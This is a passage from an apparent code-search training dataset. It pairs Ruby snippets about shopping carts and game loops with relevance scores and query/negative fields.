"def add_to_cart(product, amount)\n purchase = \" • #{amount} #{product}\\n\"\n @cart << purchase\n\n cost_per_item = @inventory[product][\"price\"]\n @total_cart_value += (cost_per_item * amount)\n\n @inventory[product][\"quantity\"] -= amount\nend",
"def add_products(products)\n # remove nil element and save bidimensional array.\n (@cart_products << [products].compact).flatten!\n end",
"def add_line_items_from_cart(cart)\n companies = []\n cart.line_items.each do |item|\n if !companies.include?(item.product.company.name)\n companies << item.product.company.name\n end\n end\n puts \"INSPECIONANDO ARRAY DE COMPANIES\"\n puts companies.inspect\n companies.each do |company|\n cart.line_items.each do |item|\n if item.product.company.name == company\n \n line_items << item\n end\n end\n end\n puts \"INspecionando o line_items\"\n puts line_items.inspect\n line_items\n end",
"def consolidate_cart(cart)\n i = 0\n cons_cart = [] #will be a new array that represents the cart with the item counts\n while i < cart.length do\n in_cart = find_item_by_name_in_collection(cart[i][:item],cons_cart)\n if in_cart != nil\n in_cart[:count] += 1\n else\n in_cart = {\n :item => cart[i][:item],\n :price => cart[i][:price],\n :clearance => cart [i][:clearance],\n :count => 1\n }\n cons_cart << in_cart\n end\n i += 1\n end\n cons_cart\nend",
"def consolidate_cart(cart)\n consol_cart = []\n i = 0\n while i < cart.length\n new_item = find_item_by_name_in_collection(cart[i][:item], consol_cart)\n if new_item\n new_item[:count] += 1\n else\n new_item = {\n :item => cart[i][:item],\n :price => cart[i][:price],\n :clearance => cart[i][:clearance],\n :count => 1\n }\n consol_cart << new_item\n end\n i += 1\n end\n consol_cart\nend",
"def add_product(name, price)\n new_product = Product.new(name, price)\n @products_in_cart << new_product\n new_product\nend",
"def consolidate_cart(cart)\n updated_cart = []\n i = 0\n while i < cart.length do\n updated_cart_item = find_item_by_name_in_collection(cart[i][:item], updated_cart)\n if updated_cart_item #if it does have a value\n updated_cart_item[:count] += 1\n else\n updated_cart_item = {\n :item => cart[i][:item],\n :price => cart[i][:price],\n :clearance => cart[i][:clearance],\n :count => 1\n }\n updated_cart << updated_cart_item\n end\n i += 1\n end\n updated_cart\nend",
"def add_basket_items(items)\n items.each do |i|\n order_lines.build(\n product_id: i.product.id,\n product_sku: i.product.sku,\n product_name: i.product.name,\n product_rrp: i.product.rrp,\n product_price: i.product.price_ex_vat(i.quantity),\n product_weight: i.product.weight,\n vat_amount: i.product.vat_amount(i.quantity) * i.quantity,\n quantity: i.quantity,\n feature_descriptions: i.feature_descriptions\n )\n end\n end",
"def add_to_cart(item, quantity=1)\n i = self.items.index { |x| x.product == item }\n \n end",
"def add_item_to_cart\n product_id = params[:product_id]\n @item = LineItem.create!(product_id: product_id, cart_id: @current_cart.id)\n redirect_to checkout_carts_path, notice: 'The Item was added to your cart'\n end",
"def add_nacho_to_the_cart(nacho_id)\n cart << nacho_id\n end",
"def add_to_cart\n @item = Item.find(params[:id])\n if current_user\n current_user.cart.cart_items.create(item: @item)\n flash[:notice] = \"#{@item.name} was added to the cart\"\n else\n flash[:alert] = \"You have to be signed in to add items to your cart\"\n end\n redirect_to items_path\n end",
"def add_line_tests_from_cart(cart)\n cart.items.each do |item|\n li = LineTest.from_cart_item(item,self.doctor_id, self.user_id)\n line_tests << li unless self.line_tests.collect{|line_test| line_test.test_id}.include?(li.test_id)\n end\n end",
"def make_cart_compatible\n return if session[:cart].items.is_a? Hash\n session[:cart] = Cart.new\n end",
"def set_cart\n @cart = Cart.includes(:line_items).find(params[:id])\n end",
"def add_item(product_id, quantity)\n product = Product.find(product_id) # product is exists?\n\n quantity = quantity.blank? ? 1 : (quantity.to_i > 99? 99 : quantity.to_i)\n\n return if quantity < 1 # return if invalid quantity is provided\n \n if cart_item = @items.find { |item| item.id.to_i == product_id.to_i }\n cart_item.quantity += quantity\n cart_item.quantity < 99 ? cart_item.quantity : cart_item.quantity =99\n else\n @items << CartItem.new(product.id, quantity)\n end\n\n end",
"def consolidate_cart(cart)\n cons_cart = []\n item_index = 0 \n while item_index < cart.length do \n item = cart[item_index][:item]\n price = cart[item_index][:price]\n clearance = cart[item_index][:clearance]\n current_item = find_item_by_name_in_collection(item, cons_cart)\n if !current_item\n cons_cart << {:item => item, :price => price, :clearance => clearance, :count => 1}\n else\n current_item[:count] += 1\n end\n item_index += 1\n end\n cons_cart\nend",
"def index\n @items = Item.all\n # If there is already a cart for the session, don't create a new one\n session[:cart_id] = Cart.create(total_quantity: 0, total_price: 0) unless session[:cart_id].present?\n end",
"def consolidate_cart(cart)\n new_cart = []\n counter = 0 \n while counter < cart.length do \n new_cart_item = find_item_by_name_in_collection(cart[counter][:item], new_cart) #returns item if it finds it, and if it doesn't find it will return nil\n if new_cart_item != nil #if this variable has a truthy value,\n new_cart_item[:count] += 1 \n else #if that new cart item is nil, create our item. in hash construct item for the new cart\n new_cart_item = {\n :item => cart[counter][:item],\n :price => cart[counter][:price], \n :clearance => cart[counter][:clearance],\n :count => 1 #here we are going over item's name price and clearance value and adding a count key value pair and setting that equal to one.\n }\n new_cart << new_cart_item\nend \ncounter += 1 \nend\nnew_cart \nend",
"def reorganizeCart\n\t\t@new_cart = {}\n\t\t@cart.each do |itemhash|\n\t\t\titemhash.each do |item, details|\n\t\t\t\t@new_cart[item] = details\n\t\t\t\t# adds :count key value to the hash\n\t\t\t\tif @new_cart[item][:count].nil? \n\t\t\t\t\t@new_cart[item][:count] = 1\n\t\t\t\telse\n\t\t\t\t\t@new_cart[item][:count] += 1\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\t#gets rid of duplicate entries\n\t\trepeat = []\n\t\t@new_cart.each do |item, hash|\n\t\t\tif repeat.include?(item) \n\t\t\t\tdelete(item)\n\t\t \telse\n\t\t \t\trepeat << item\n\t\t \tend\n\t\tend\n\t\t@new_cart\n\tend",
"def cart_item_op(&block)\n session[:cart] = get_cart.collect(&block)\n end",
"def cart\n shopping_cart = []\n\n # Each item in session[:cart] is an array of [gameID, qty]\n session[:cart].each do |game_array|\n game = Game.find(game_array[0])\n shopping_cart << [game, game_array[1]]\n end\n\n shopping_cart\n end",
"def add_to_cart\n # session[:cart]=\"\"\n @a = Array.new\n @a = session[:cart] unless session[:cart].nil?\n flash[:notice]=\"成功放入购物车\"\n @a << params[:id]\n session[:cart] = @a\n redirect_to \"/commodities\"\n end",
"def checkout_cart\n self.line_items.each do |li|\n li.item.inventory -= li.quantity\n li.item.save\n end\n self.line_items.clear\n self.status = \"submitted\"\n self.user.current_cart_id = nil\n self.user.save\n end",
"def add_to_cart\n if current_user.cart\n update\n else\n create\n end\n end",
"def merge(cart)\n cart.orders.each do |order|\n (1..order.quantity).each { |c| add_product_by_sku(order.sku) }\n cart.remove_product_by_sku(order.sku)\n end\n end",
"def add\n # we need the id of the product to be added\n # lets get it now\n \n id = params[:id]\n # if the cart exists already use it if not make a new one\n if session[:cart] then\n \n cart = session[:cart]\n else\n session[:cart] = {}\n cart = session[:cart]\n end\n \n # If the product is in the cart then increase the existing quantity by 1\n \n if cart[id] then\n \n cart[id] = cart[id] + 1 # this is the actual increase quantity part\n else\n \n cart[id] = 1\n \n end\n \n redirect_to :action => :index\n \n end",
"def add_item (grocery_list, grocery_item)\n grocery_list.store(grocery_item, 0)\nend",
"def consolidate_cart(cart)\n# [{:item => \"AVOCADO\", :price => 3.00, :clearance => true },\n# {:item => \"AVOCADO\", :price => 3.00, :clearance => true },\n# {:item => \"KALE\", :price => 3.00, :clearance => false}]\n new_cart = []\n i = 0\n while i < cart.length do\n new_cart_item = find_item_by_name_in_collection(cart[i][:item], new_cart)\nif new_cart_item != nil\n new_cart_item[:count] += 1\nelse\n new_cart_item = {\n :item=> cart[i][:item],\n :price => cart[i][:price],\n :clearance => cart[i][:clearance],\n :count => 1\n }\n new_cart << new_cart_item\nend\n i+=1\n end\n new_cart\nend",
"def add(*items, quantity: 1)\n raise 'unable to alter a purchased order' if purchased?\n raise 'unable to alter a declined order' if declined?\n\n cart_items = items.flatten.flat_map do |item|\n if item.kind_of?(Effective::Cart)\n item.cart_items.to_a\n elsif item.kind_of?(ActsAsPurchasable)\n Effective::CartItem.new(quantity: quantity, purchasable: item)\n elsif item.kind_of?(Effective::Order)\n # Duplicate an existing order\n self.note_to_buyer ||= item.note_to_buyer\n self.note_internal ||= item.note_internal\n self.cc ||= item.cc\n\n item.order_items.select { |oi| oi.purchasable.kind_of?(Effective::Product) }.map do |oi|\n purchasable = oi.purchasable\n\n product = Effective::Product.new(name: purchasable.purchasable_name, price: purchasable.price, tax_exempt: purchasable.tax_exempt)\n\n # Copy over any extended attributes that may have been created\n atts = purchasable.dup.attributes.except('name', 'price', 'tax_exempt', 'purchased_order_id').compact\n\n atts.each do |k, v|\n next unless product.respond_to?(\"#{k}=\") && product.respond_to?(k)\n product.send(\"#{k}=\", v) if product.send(k).blank?\n end\n\n Effective::CartItem.new(quantity: oi.quantity, purchasable: product)\n end\n else\n raise 'add() expects one or more acts_as_purchasable objects, or an Effective::Cart'\n end\n end.compact\n\n # Make sure to reset stored aggregates\n assign_attributes(subtotal: nil, tax_rate: nil, tax: nil, amount_owing: nil, surcharge_percent: nil, surcharge: nil, total: nil)\n\n retval = cart_items.map do |item|\n order_items.build(\n name: item.name,\n quantity: item.quantity,\n price: item.price,\n tax_exempt: (item.tax_exempt || false),\n ).tap { |order_item| order_item.purchasable = item.purchasable }\n end\n\n retval.size == 1 ? retval.first : retval\n end",
"def add_item\n product_id = params[:product_id].to_s\n modify_cart_delta(product_id, +1)\n redirect_to :back\n end",
"def add_item item\n @items << item\n @@all_items << item\n end",
"def add_items(items)\n add_items!(unknown_items(items))\n end",
"def add_to_cart\n\t\tcart_hash = session[:cart]\n\t\tproduct = find_key(cart_hash, params[:id])\n\t\tproduct[:quantity] += 1\n\t\tcart_hash[params[:id]] = product\n\n\t\tredirect_to root_url\n\tend",
"def set_cart_item\r\n \t \t@cart_item = CartItem.find(params[:id])\r\n \t\tend",
"def consolidate_cart(cart)\n \n #declare new array\n new_cart = []\n \n #start with a counter so it begins at the first item\n counter = 0 \n \n #then create while loop\n while counter < cart.length \n \n #take each item in the cart and see if it is already in the new cart\n #calling the find_item_by_name_in_collection to check if item is in the new cart. Second argument is the collection we want to search want to see if the item is in our new cart.\n #So this will return either the item found or if not found it will return nil\n \n new_cart_item = find_item_by_name_in_collection(cart[counter][:item], new_cart)\n #if item is already in cart, we just want to increase the count\n if new_cart_item != nil \n \n #if new_cart_item does not equal nil then we want to access new_cart_item and inside we want to access the count and increase by 1\n new_cart_item[:count] += 1\n \n #otherwise, item is nil. We would need to create our item. Inside the hash we need to construct the new item in the new cart\n else\n new_cart_item = {\n :item => cart[counter][:item], \n :price => cart[counter][:price],\n :clearance => cart[counter][:clearance],\n #this is the first time count is being used, the old item did not have count\n :count => 1\n }\n #after the new_cart is built, we are going to shovel new_cart_item variable\n new_cart << new_cart_item\n end\n #to ensure there is not an infinite loop \n counter += 1\n end\n new_cart\nend",
"def put_to_cart(item, amount)\n cart[item.to_sym] = cart[item.to_sym].to_i + amount.to_i\n list[item.to_sym] = list[item.to_sym].to_i - amount.to_i\n list.delete(item.to_sym) if list[item.to_sym] <= 0\n end",
"def save_to_list(list_id)\n elements=CartItem.where(:cart_id=>self.id)\n list=List.find(list_id)\n elements.each do |element|\n item=Item.find(element.item_id)\n list.list_items.build(:item_id=>item.id, :quantity=>element.quantity)\n end\n list.save\n end",
"def add_to_cart\n \tline_item = LineItem.create(product_id: params[:product_id], quantity: params[:quantity])\n \tline_item.update(line_item_total: (line_item.quantity * line_item.product.price))\n \tredirect_back(fallback_location: root_path)\n end",
"def set_cart_item\n @cart_item = @cart.cart_items.find(params[:id])\n end",
"def cart\n super || Cart.create(user_id: self.id)\n end",
"def add_cart_line_item(newitem, options={})\n return nil if newitem.nil?\n item = find(:first, newitem)\n if item\n # existing item found, update item quantity and add total_price\n item.quantity += newitem.quantity\n else\n # not in cart yet\n item = newitem\n @line_items << item\n end\n item\n end",
"def cart\n session[:cart] ||= []\n end"
] | [
"0.9089145",
"0.87449425",
"0.864951",
"0.8561501",
"0.8561501",
"0.8561501",
"0.8561501",
"0.85253507",
"0.847565",
"0.845893",
"0.84157693",
"0.8391638",
"0.83703935",
"0.8360957",
"0.82709324",
"0.82668847",
"0.8095887",
"0.801935",
"0.7975606",
"0.7935421",
"0.7842696",
"0.78051955",
"0.7639544",
"0.7581656",
"0.74428",
"0.7372425",
"0.73624986",
"0.73594666",
"0.7349839",
"0.7346352",
"0.71451944",
"0.7137891",
"0.7106632",
"0.70751464",
"0.704981",
"0.7034474",
"0.70313466",
"0.70281297",
"0.70134664",
"0.7000662",
"0.6982215",
"0.6978407",
"0.6955271",
"0.69534594",
"0.6949281",
"0.69426477",
"0.6919244",
"0.6915537",
"0.68944824",
"0.68778473",
"0.6871688",
"0.68678826",
"0.6850544",
"0.683759",
"0.68094707",
"0.6792628",
"0.6778823",
"0.6778425",
"0.6777697",
"0.6767581",
"0.6767541",
"0.67612803",
"0.6756678",
"0.6755151",
"0.6746153",
"0.6739372",
"0.6738102",
"0.67196757",
"0.6716287",
"0.6716265",
"0.6707384",
"0.6706011",
"0.6674053",
"0.664843",
"0.66463745",
"0.66341656",
"0.6633423",
"0.6626808",
"0.66262066",
"0.6619462",
"0.6609305",
"0.6599557",
"0.6575925",
"0.65743816",
"0.65560335",
"0.65555596",
"0.6554202",
"0.65390456",
"0.6538562",
"0.65377915",
"0.6533231",
"0.65283287",
"0.652231",
"0.65146565",
"0.6512886",
"0.65089697",
"0.65047914",
"0.6502674",
"0.64996123",
"0.64928985"
] | 0.7555014 | 24 |
begins the game loop | def start
puts "Connect Four! Try to get four pieces in a row before the other player."
board.print_grid
until over?
board.place_piece( light_turn ? LIGHT : DARK, choose_column )
board.print_grid
@light_turn = !@light_turn
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def beginGameLoop\n @gameLoop.play\n end",
"def run\n start_game\n game_loop\n end_game\n end",
"def game_loop\n end",
"def game_loop\n end",
"def play\n\t\tgame_loop\n\tend",
"def start\r\n initialize_game\r\n until @game.over?\r\n take_turn\r\n end\r\n print_outcome\r\n end",
"def startGame\n\tif !$running\n\t\t$gui.hide_info()\n\t\t$gui.hide_scored()\n\t\t$p1.reset_position()\n\t\t$p2.reset_position()\n\t\t$ball.reset_position()\n\t\t$ball.start()\n\t\t$running = true\n\tend\nend",
"def start_game\n puts 'GAME STARTED'\n until @is_game_over\n @count_turns += 1\n @board.draw_board\n @board.update_board(@controller.get_input)\n game_over?\n end\n puts @count_turns\n end_game\n end",
"def start_game\n # Infinite loop\n while\n # Draw the board on the terminal\n @board.print_board\n # Ask the player to choose where to draw the symbol\n @active_player.choose_spot\n # Check if the current player won\n if @board.check_win(@active_player.player_symbol)\n @board.print_board\n puts 'Has ganado'\n @active_player.victory\n # Ask if the player wants to play again\n play_again\n # If not, the loop is broken\n break\n else\n # Check if there is a draw\n if @board.check_draw\n puts 'Empate'\n play_again\n break\n end\n # If there isn't a draw the game switch the current player\n switch_player\n end\n end\n end",
"def start_game\n begin\n @game_text.intro\n\n # Run the tutorial\n ActionDirector.new(@world, @player).call({command: :talk, target: :jerry})\n\n # The main game\n while @player.alive? && @world.has_hostiles?\n @player.in_battle? ? battle_loop : game_loop\n end\n\n @player.alive? ? @player.win : @player.defeat\n rescue SystemExit, Interrupt # Catpure ctrl+c exit, end gracefully\n @game_text.exit\n end\n end",
"def start_game\n\t\tself.game_is_started = true\n send_update\n end",
"def start_game\n loop do\n display_board\n turn\n position_available ? player_positions : turn\n (display_board; p \"#{@player} wins!\"; break) if win_game\n (display_board; p \"Draw\"; break) if draw\n next_player\n end\n end",
"def start\n\t\tif @game_over\n\t\t\traise Exception.new(\"GAME #{@id} IS ALREADY OVER\")\n\t\tend\n\t\tplayer_number = 1\n\t\tloop do\n\t\t\t@game_over = player_turn @players[player_number], player_number\n\t\t\tplayer_number = player_number % 2 + 1\n\t\t\tbreak if @game_over\n\t\tend\n\tend",
"def start()\n while true\n @room = @room.play()\n end\n end",
"def play_game\n loop do\n puts \"\\n\\n\"\n display_board\n player_turn\n check_game_status\n end\n end",
"def game_start\n clear\n warning\n clear\n if @intro\n introduction()\n end\n clear\n countdown\n until @promptarr == []\n game_round() \n end\n @running = game_over(@score)\n end",
"def start\n \t\tself.board.display_instruction\n \t\tcurrent_player = select_first_player\n \t\t(self.board.size).times do \n \t\t\tplay(current_player)\n \t\t\tcurrent_player = next_of current_player \n end\n display_winner(nil, true)\n \tend",
"def play\n\t# while $game_end == false\n\t\t9.times { \n\t\t\tif $game_end == false\n\t\t\t\tturns\n\t\t\tend\n\t\t}\nend",
"def start\n DataManager.create_game_objects\n $game_party.setup_starting_members\n $game_map.setup(Config::Starting_Map_ID)\n $game_player.moveto(Config::X_Pos, Config::Y_Pos)\n $game_player.followers.visible = false\n $game_player.refresh\n $game_player.make_encounter_count\n\n @character_name = $game_player.character_name\n @character_index = $game_player.character_index\n $game_player.set_graphic('', 0)\n\n $game_system.menu_disabled = true\n Graphics.frame_count = 0\n\n super\n create_foreground\n create_background\n create_command_window\n play_title_music\n end",
"def start_game\n loop do\n turn #loop turns from X to O\n\n if win?\n puts \"Player #{player} wins!\"\n break #end the turn loop and the game\n end\n end\n end",
"def start\n\t\twhile true\n\t\t\tclean\n\t\t\tscore_table\n\t\t\tarray_start(1)\n\t\t\tif player_win(1) == false || test_fin == false \n\t\t\t\tbreak\n\t\t\tend\n\t\t\tclean\n\t\t\tscore_table\n\t\t\tarray_start(2)\n\t\t\tif player_win(2) == false || test_fin == false\n\t\t\t\tbreak\n\t\t\tend\n\t\tend\n\tend",
"def start\n main_loop\n end",
"def play\n while(true)\n system('clear')\n render_board\n board_update\n sleep(5)\n end\n end",
"def start!\n last_update = Time.now\n\n loop do\n break if world.game.exit\n prev_hash = world.hash\n send_action(:tick!, Time.now - last_update)\n renderer.render!(world) if prev_hash != world.hash\n last_update = Time.now\n sleep 0.03\n end\n end",
"def run\n self.start_time = Time.now\n n = 0\n event = nil\n loop do\n handle_event event, n while event = SDL::Event.poll\n SDL::Key.scan\n handle_keys\n\n unless paused then\n update n unless paused\n\n draw_and_flip n\n\n n += 1 unless paused\n end\n end\n end",
"def start\n\t\tif @state == :READY\n\t\t\t@players.each do |p|\n\t\t\t\tputs \"#{p.username} starting game\"\n\t\t\t\tp.socket.send({\"startGame\" => true}.to_json)\n\t\t\tend\t\n\t\t\t@state = :PLAYING\n\t\tend\n\tend",
"def start\n while (@current_player.lives != 0)\n generate_question\n ask_question\n verify_answer(get_player_answer(@current_player))\n life_count\n point_count\n rotate_players\n end\n declare_winner\n play_again\n end",
"def main\n\t\tstart\n\t\twhile self == SceneManager.scene\n\t\t\tGraphics.update\n\t\t\tController.keyboard.update\n\t\t\tupdate\n\t\t\tController.wait_next_frame\n\t\tend\n\t\tterminate\n\tend",
"def play\n # unless the game is over players take turns\n take_turn until game_over?\n\n #start a new game if the game is over\n new_game_or_quit\n end",
"def game_play\n until game_over\n graphic\n guess\n end\n end",
"def game_start\n\n\tclear_screen\n\n\tprint_paragraph(\"Welcome to Trapped In A Cave.\\nGuess what? You're trapped in a cave...\nCan you make it out alive?\\n(For a list of commands type help at anytime.)\")\n\nstart_room\n\nend",
"def play\n\n while @game_complete == false\n\n # starting game text to help the player create a mental picture of the environment\n @new_player_name = \"Mr Developer\" if @debug\n player_set_up unless @debug || @starting_game_text == false\n puts starting_game_text unless @debug || @starting_game_text == false\n @starting_game_text = false\n \n slow_type(\"\\nYou are in #{find_room_by_id(@current_room_id).name}\")\n main_menu = TTY::Prompt.new\n\n choices = [\n { name: 'Move Player', value: 1 },\n { name: 'Look At', value: 2 },\n { name: 'Pick Up', value: 3 },\n { name: 'Use Item', value: 4 },\n { name: 'Talk To', value: 5 },\n { name: 'Quit', value: 6 },\n ]\n attr = main_menu.select(slow_type(\"What would you like to do?\"), choices)\n\n # gets user input\n \n if attr == 1\n player_move\n \n elsif attr == 2\n look_at\n\n elsif attr == 3\n pick_up\n\n elsif attr == 4\n use_item\n\n elsif attr == 5\n talk_to\n \n else attr == 6\n @game_complete = true\n end\n\n end\n end",
"def start_game\n\t\ti = 0\n\t\tsrand seed.to_i\n\t\t#This is the loop that runs the simulation 5 times.\n\t\tloop do\n\t\t\ti += 1\n\t\t\tnew_run(i)\n\t\t\tif i == 5\n\t\t\t\tbreak\n\t\t\tend\n\t\tend\n\t\ti\n\tend",
"def start\n loop do\n run\n end\n end",
"def play\n init_player()\n init_board()\n puts \"Test game play\"\n end",
"def play\n board_setup\n gameplay_setup\n end",
"def start\n\t\twhile @playing\n\t\t\tletter, x_coordinate, y_coordinate = @player.make_decision\n\t\t\tuntil @board.draw(letter, x_coordinate, y_coordinate)\n\t\t\t\tletter, x_coordinate, y_coordinate = @player.make_decision\n\t\t\tend\n\t\t\t@board.print_board\n\t\t\tvictory_check?\n\t\t\tif @playing\n\t\t\t\tletter, x_coordinate, y_coordinate = @computer.make_decision(@board.available_spaces)\n\t\t\t\t@board.draw(letter, x_coordinate, y_coordinate)\n\t\t\t\t@board.print_board\n\t\t\t\tvictory_check?\n\t\t\tend\n\t\tend\n\n\t\tputs \"Would you like to play again?(y/n)\"\n\t\tchoice = gets.chomp.downcase\n\t\tif choice == \"y\"\n\t\t\t@board.clear_board\n\t\t\t@playing = true\n\t\t\tstart\n\t\telse\n\t\t\tputs \"Goodbye!\"\n\t\tend\n\tend",
"def run\n game = Game.new\n game.game_start\nend",
"def run\n @music.play(:repeats => -1)\n\thook_run()\n\thook_quit()\n\t# Handling input\n\tloop do\n\t @queue.each do |event|\n\t\thandle(event)\n end\n\t# Draw the image to screen\n\t@intro_screen.blit(@screen,[0,0])\n\t@screen.flip()\n end\n end",
"def play\n start = Time.now\n until @board.won?\n @player ? round_player : round_ai\n @attempts += 1\n sleep(2)\n system(\"cls\")\n @board.render\n end\n finish = Time.now\n time_to_finish = finish - start\n declare_win(time_to_finish)\n end",
"def game_start\n game_setup\n @console_delegate.show\n end",
"def start_game\n set_game_state 'play'\n @deck = Deck.new\n @deck.shuffle\n @deck.deal @players\n @hand_played = []\n @cards_on_table = []\n @war_is_on = false\n nil\n end",
"def start_game\n player = 0\n\n until @winner == true\n say '--------------------'.light_blue\n player = 0 if player >= @score_table.total_players\n play(player, 5)\n player += 1\n end\n\n @score_table.display_winner\n\n display_all_scores\n end",
"def main_loop\r\n Graphics.update # Update game screen\r\n Input.update # Update input information\r\n main_update # Update scene objects\r\n update # Update Processing\r\n end",
"def game_start\n @computer.choose_word\n @board.create_board(@computer.word.length)\n Screen.clear\n game_loop\n end",
"def play\n\t\n\t\tuntil over?\n\t\tturn\n\t\tend\n\t\t\n\t\tif won? \n\t\t\twinner\n\t\telsif draw? \n\t\t\tputs \"The game was a Draw!\"\n\t\telse \n\t\t\tputs \"Unexpected Error Occured\" \n\t\tend\n\tend",
"def start\r\n\t\t\t@output.puts \"Welcome to Deal or No Deal!\"\r\n\t\t\t@output.puts \"Designed by: #{created_by}\"\r\n\t\t\t@output.puts \"StudentID: #{student_id}\"\r\n\t\t\t@output.puts \"Starting game...\"\r\n\t\tend",
"def play\n #calls to all the methods that produce game!\n end",
"def start\n puts \"Welcome to Tic Tac Toe!\"\n puts \"\"\n define_players\n play\n end",
"def start_waiting_game\n ready_game = waiting_game\n Thread.new{ready_game.play_game}\n self.waiting_game = Game.new\n end",
"def start\n puts \"Welcome! Let's play Tic-Tac-Toe\"\n print_board\n play\n end",
"def start\n @win_state = CHECK # clear out win_state for new games\n get_player_name\n deck.deal_hand(players)\n show_flops\n player_turn\n dealer_turn\n check_winner\n play_again?\n end",
"def run_game\n start_game\n new_board\n while true\n print_grid\n tour_joueur1\n tour_joueur2\n end\nend",
"def step\n if @game_over\n game_over!\n @event_handler.update\n else\n # background for playing field and hud\n @screen.fill :black\n @screen.fill [50,50,50], Rect.new(Configuration.screen[:hud_rect])\n\n @event_handler.update\n @hud.update @clock.framerate.ceil, @round, @enemies.length, @money, @lives+1, @round_timer\n\n update_timer\n restock_enemies! if @restock_enemies > 0\n\n @the_path.draw @screen # Draw the enemy path.\n @enemies.draw @screen # Draw the enemies.\n @towers.draw @screen # Draw all set towers.\n @grid_highlighter.draw @screen # Draw the nifty semi-transparent highlighter below the mouse.\n @hud.draw @screen # draw the HUD\n end\n\n @screen.update() # Refresh the screen.\n end",
"def game_loop\n while !game_over?\n # Start a new turn with the current player\n turn = Turn.new(@player1_turn ? @player1 : @player2)\n turn.run\n\n # Display scores and check if game is over\n display_scores\n switch_players\n end\n end",
"def main\r\n welcome\r\n process_cmd_line\r\n top_up_players\r\n\r\n play_game\r\n\r\n rescue Interrupt\r\n puts\r\n end",
"def play\n loop do\n prep_game\n loop do\n current_player_moves\n break if board.someone_won? || board.full?\n board.clear_screen_and_display_board(players) if human_turn?\n end\n display_result\n break unless play_again?\n reset\n end\n display_goodbye_message\n end",
"def start_a_game\n jeopardy_board\n play_game\nend",
"def loop\n end",
"def play\r\n display_welcome_message\r\n init_players\r\n\r\n loop do\r\n play_match\r\n break unless play_again?\r\n end\r\n\r\n display_goodbye_message\r\n end",
"def main_loop\n# Set up the objects the main loop will\n# need.\n\n# The screen is the window displayed on the\n# screen.\nscreen = Screen.new [640, 480]\n\n# The event queue handles events from the\n# operating system\nqueue = EventQueue.new\n\n# The clock limits the framerate to 30fps\nclock = Clock.new\nclock.target_framerate = 30\n\n# This is the infinite main loop\nloop do\n# Pause the program for a short amount of\n# time so it doesn't exceed 30fps\nclock.tick\n\n# Process all events, return if the window\n# was closed\nqueue.each do|e|\nreturn if e.is_a? QuitEvent\nend\n\n# Fill the screen with a grey color and\n# display it on the monitor\nscreen.fill [200, 200, 200]\nscreen.update\nend\n\nensure\nRubygame.quit\nend",
"def start\n # start a new game using @config\n end",
"def run \n Engine::play(Beginning)\nend",
"def start\n\t\tprint_series_leaderboard #shows the series leaderboard status\n\t\tturn_number=0\n\t\twhile turn_number<9 do\n\t\t\tturn_number=turn_number+1\n\t\t\tprint_board\n\t\t\tplayer_on_turn=get_player_on_turn(turn_number)\n\t\t\tputs \"#{player_on_turn.name}(#{player_on_turn.marker}) its your turn\"\n\t\t\tchoice = get_valid_empty_cell\n\t\t\tupdate_cell_status(turn_number,choice)\n\t\t\tplayer_on_turn.consider(@game_cell_vectors[choice])\n\t\t\tif player_on_turn.is_winner==true then\n\t\t\t\tprint_board\n\t\t\t\tplayer_on_turn.declare_winner\n\t\t\t\tbreak\n\t\t\tend\n\t\t\tif turn_number==9\n\t\t\t\tputs \"Game resulted in Draw\"\n\t\t\tend\t\n\t\tend\n\tend",
"def perform\n\tgame_menu\n\tgameplay\nend",
"def run\n Interface::header\n Interface::newline\n\n count = get_number_of_players\n get_player_names( count )\n\n @b.play_game\n end",
"def run\n start_key = self.display_instructions\n exit if start_key.downcase == \"q\"\n self.play_round until @board.won? || @board.lost?\n @board.lost? ? self.display_loss : self.display_win\n end",
"def loop\n end",
"def loop\n end",
"def run_game\n if !@board.game_over? and @running\n @timer.stop\n @timer.start(@board.delay, (lambda {|x| @board.run; run_game}))\n end\n end",
"def play\n #turns = 0\n until over?\n turn\n end\nend",
"def play\n display_welcome_message\n loop do\n human.choose\n computer.choose\n display_moves\n display_winner\n keep_score\n break unless play_again?\n end\n display_goodbye_message\n end",
"def play\n take_turn until @master.game_over?\n @master.show_board\n @robot.speak\n end",
"def start\n # Game loop\n while @p1.alive? && @p2.alive? do\n puts \"----- New Turn -----\"\n\n # Ask a math question\n ask(current_player)\n\n # Alternate turns\n @is_p1_turn = !@is_p1_turn\n\n print_scores\n end\n\n # Handle death/game over\n game_over\n end",
"def begin_game\n\t\t#Does this need really to be stored in a variable?\n\t\tg = Game.new(@name)\n\tend",
"def start\n # always load so no restarting of server is needed'\n maze_config = YAML.load_file(maze.file_name)\n # set starting points\n update_attributes(starting_point_player1: maze_config[\"starting_points_for_player1\"].values.sample, starting_point_player2: maze_config[\"starting_points_for_player2\"].values.sample)\n # set countdown via pusher, game is starting\n Pusher.trigger(\"player_#{player_one_id}_channel\", 'game_started', {message: 'game started'})\n Pusher.trigger(\"player_#{player_two_id}_channel\", 'game_started', {message: 'game started'})\n end",
"def run\n @running = true\n clock = Rubygame::Clock.new()\n queue = Rubygame::EventQueue.new()\n queue.enable_new_style_events\n rl = ResourceLocator.instance\n \n clock.tick\n while @running and self.current\n pre_transition = self.current # All events in the queue are applied to the\n # current state\n mouseUps = []\n queue.each do |event|\n pre_transition.raw(event) if pre_transition.respond_to?(:raw)\n case(event)\n when QuitRequested\n @running = false\n when KeyPressed\n result = @hooks[event.key]\n result.call(self) if result\n #puts event.key\n pre_transition.keyEvent(event,true)\n when KeyReleased\n pre_transition.keyEvent(event, false)\n when MouseMoved\n pre_transition.mouseMove(event)\n when MousePressed\n pre_transition.mouseDown(event)\n when MouseReleased\n mouseUps << event\n end\n end\n \n # This is done outside of the event-handling loop, because otherwise\n # the when the continuations it causes (i.e. pressing the 'done' button)\n # return, they bring back the old state of the event queue with them,\n # and the mouse events are re-played.\n mouseUps.each do | event |\n pre_transition.mouseUp(event)\n end\n \n rl.screen.fill([0,0,0])\n current.draw(rl.screen) if current\n rl.screen.flip\n elapsed = clock.tick / 1000.0\n current.update(elapsed) if current\n\n Rubygame::Clock.wait(50)\n \n end\n Rubygame::quit\n end",
